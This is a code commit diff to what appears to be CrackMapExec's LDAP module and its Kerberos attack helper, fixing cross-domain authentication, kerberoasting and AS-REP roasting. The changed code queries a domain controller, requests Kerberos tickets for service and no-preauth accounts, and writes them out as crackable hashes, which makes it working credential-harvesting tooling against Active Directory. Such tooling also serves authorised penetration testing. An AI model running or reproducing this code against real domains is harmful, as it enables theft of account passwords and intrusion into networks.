Fix cross domain kerberos authentication, kerberoasting and asreproasting issues
parent
286d8c2aca
commit
b11bc43380
|
@ -24,6 +24,7 @@ import argparse
|
|||
from io import StringIO
|
||||
from pywerview.cli.helpers import *
|
||||
from pywerview.requester import RPCRequester
|
||||
import re
|
||||
|
||||
ldap_error_status = {
|
||||
"533":"STATUS_ACCOUNT_DISABLED",
|
||||
|
@ -63,6 +64,7 @@ class ldap(connection):
|
|||
self.lmhash = ''
|
||||
self.nthash = ''
|
||||
self.baseDN = ''
|
||||
self.targetDomain = ''
|
||||
self.remote_ops = None
|
||||
self.bootkey = None
|
||||
self.output_filename = None
|
||||
|
@ -80,7 +82,6 @@ class ldap(connection):
|
|||
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
||||
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||
ldap_parser.add_argument("--basedn", type=str, default=None, help='Ldap base DN')
|
||||
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(argparse._StoreTrueAction), make_required=[], help='No smb connection')
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
|
@ -109,27 +110,31 @@ class ldap(connection):
|
|||
'hostname': self.hostname
|
||||
})
|
||||
|
||||
def get_baseDN(self, host):
|
||||
def get_ldap_info(self, host):
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % host)
|
||||
|
||||
resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext'], sizeLimit=0)
|
||||
resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0)
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
target = None
|
||||
targetDomain = None
|
||||
baseDN = None
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'defaultNamingContext':
|
||||
baseDN = str(attribute['vals'][0])
|
||||
self.logger.info(u'Discovered baseDN {}'.format(baseDN))
|
||||
return baseDN
|
||||
targetDomain = re.sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=re.I)[3:]
|
||||
if str(attribute['type']) == 'dnsHostName':
|
||||
target = str(attribute['vals'][0])
|
||||
except Exception as e:
|
||||
logging.debug("Exception:", exc_info=True)
|
||||
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
except OSError as e:
|
||||
self.logger.error(u'Error connecting to the host.')
|
||||
|
||||
return ''
|
||||
return [target, targetDomain, baseDN]
|
||||
|
||||
def get_os_arch(self):
|
||||
try:
|
||||
|
@ -233,17 +238,12 @@ class ldap(connection):
|
|||
return True
|
||||
|
||||
def kerberos_login(self, domain, aesKey, kdcHost):
|
||||
# Get the baseDN
|
||||
self.baseDN = self.get_baseDN(self.host) if not self.args.basedn else self.args.basedn
|
||||
if self.baseDN == '': # Last resort
|
||||
for i in self.domain.split('.'):
|
||||
self.baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.baseDN = self.baseDN[:-1]
|
||||
# Get ldap info (target, targetDomain, baseDN)
|
||||
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % self.host, self.baseDN)
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
|
||||
self.aesKey, kdcHost=kdcHost)
|
||||
|
||||
|
@ -267,7 +267,7 @@ class ldap(connection):
|
|||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
# We need to try SSL
|
||||
# Connect to LDAPS
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.host, self.baseDN)
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
|
||||
self.aesKey, kdcHost=kdcHost)
|
||||
|
||||
|
@ -302,13 +302,8 @@ class ldap(connection):
|
|||
self.password = password
|
||||
self.domain = domain
|
||||
|
||||
# Get the baseDN
|
||||
self.baseDN = self.get_baseDN(self.host) if not self.args.basedn else self.args.basedn
|
||||
if self.baseDN == '': # Last resort
|
||||
for i in self.domain.split('.'):
|
||||
self.baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.baseDN = self.baseDN[:-1]
|
||||
# Get ldap info (target, targetDomain, baseDN)
|
||||
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
|
||||
if self.password == '' and self.args.asreproast:
|
||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||
|
@ -320,7 +315,7 @@ class ldap(connection):
|
|||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % self.host, self.baseDN)
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
|
@ -343,7 +338,7 @@ class ldap(connection):
|
|||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.host, self.baseDN)
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
|
@ -399,13 +394,8 @@ class ldap(connection):
|
|||
self.username = username
|
||||
self.domain = domain
|
||||
|
||||
# Get the baseDN
|
||||
self.baseDN = self.get_baseDN(self.host) if not self.args.basedn else self.args.basedn
|
||||
if self.baseDN == '': # Last resort
|
||||
for i in self.domain.split('.'):
|
||||
self.baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.baseDN = self.baseDN[:-1]
|
||||
# Get ldap info (target, targetDomain, baseDN)
|
||||
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
|
||||
if self.hash == '' and self.args.asreproast:
|
||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||
|
@ -417,7 +407,7 @@ class ldap(connection):
|
|||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % self.host, self.baseDN)
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
|
@ -438,7 +428,7 @@ class ldap(connection):
|
|||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
try:
|
||||
# We need to try SSL
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.host, self.baseDN)
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
|
@ -654,7 +644,9 @@ class ldap(connection):
|
|||
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
||||
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
if resp:
|
||||
if resp == []:
|
||||
self.logger.highlight("No entries found!")
|
||||
elif resp:
|
||||
answers = []
|
||||
self.logger.info('Total of records returned %d' % len(resp))
|
||||
|
||||
|
@ -702,7 +694,8 @@ class ldap(connection):
|
|||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
return
|
||||
self.logger.error("Error with the LDAP account used")
|
||||
else:
|
||||
self.logger.error("Error with the LDAP account used")
|
||||
|
||||
def kerberoasting(self):
|
||||
# Building the search filter
|
||||
|
@ -710,7 +703,9 @@ class ldap(connection):
|
|||
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
if resp:
|
||||
if resp == []:
|
||||
self.logger.highlight("No entries found!")
|
||||
elif resp:
|
||||
answers = []
|
||||
self.logger.info('Total of records returned %d' % len(resp))
|
||||
|
||||
|
@ -767,13 +762,18 @@ class ldap(connection):
|
|||
dejavue = []
|
||||
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
|
||||
if sAMAccountName not in dejavue:
|
||||
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName
|
||||
|
||||
try:
|
||||
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain,
|
||||
principalName = Principal()
|
||||
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
||||
principalName.components = [downLevelLogonName]
|
||||
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain,
|
||||
self.kdcHost,
|
||||
TGT['KDC_REP'], TGT['cipher'],
|
||||
TGT['sessionKey'])
|
||||
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, SPN)
|
||||
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
|
||||
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
|
||||
self.logger.highlight(u'{}'.format(r))
|
||||
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
|
||||
|
@ -781,7 +781,7 @@ class ldap(connection):
|
|||
dejavue.append(sAMAccountName)
|
||||
except Exception as e:
|
||||
logging.debug("Exception:", exc_info=True)
|
||||
logging.error('SPN: %s - %s' % (SPN,str(e)))
|
||||
logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
|
||||
return True
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
|
@ -957,3 +957,4 @@ class ldap(connection):
|
|||
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -23,6 +23,7 @@ class KerberosAttacks:
|
|||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
self.domain = connection.domain
|
||||
self.targetDomain = connection.targetDomain
|
||||
self.hash = connection.hash
|
||||
self.lmhash = ''
|
||||
self.nthash = ''
|
||||
|
@ -142,7 +143,7 @@ class KerberosAttacks:
|
|||
|
||||
asReq = AS_REQ()
|
||||
|
||||
domain = self.domain.upper()
|
||||
domain = self.targetDomain.upper()
|
||||
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
pacRequest = KERB_PA_PAC_REQUEST()
|
||||
|
@ -214,4 +215,4 @@ class KerberosAttacks:
|
|||
hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
|
||||
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
|
||||
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
|
||||
return hash_TGT
|
||||
return hash_TGT
|
||||
|
|
Loading…
Reference in New Issue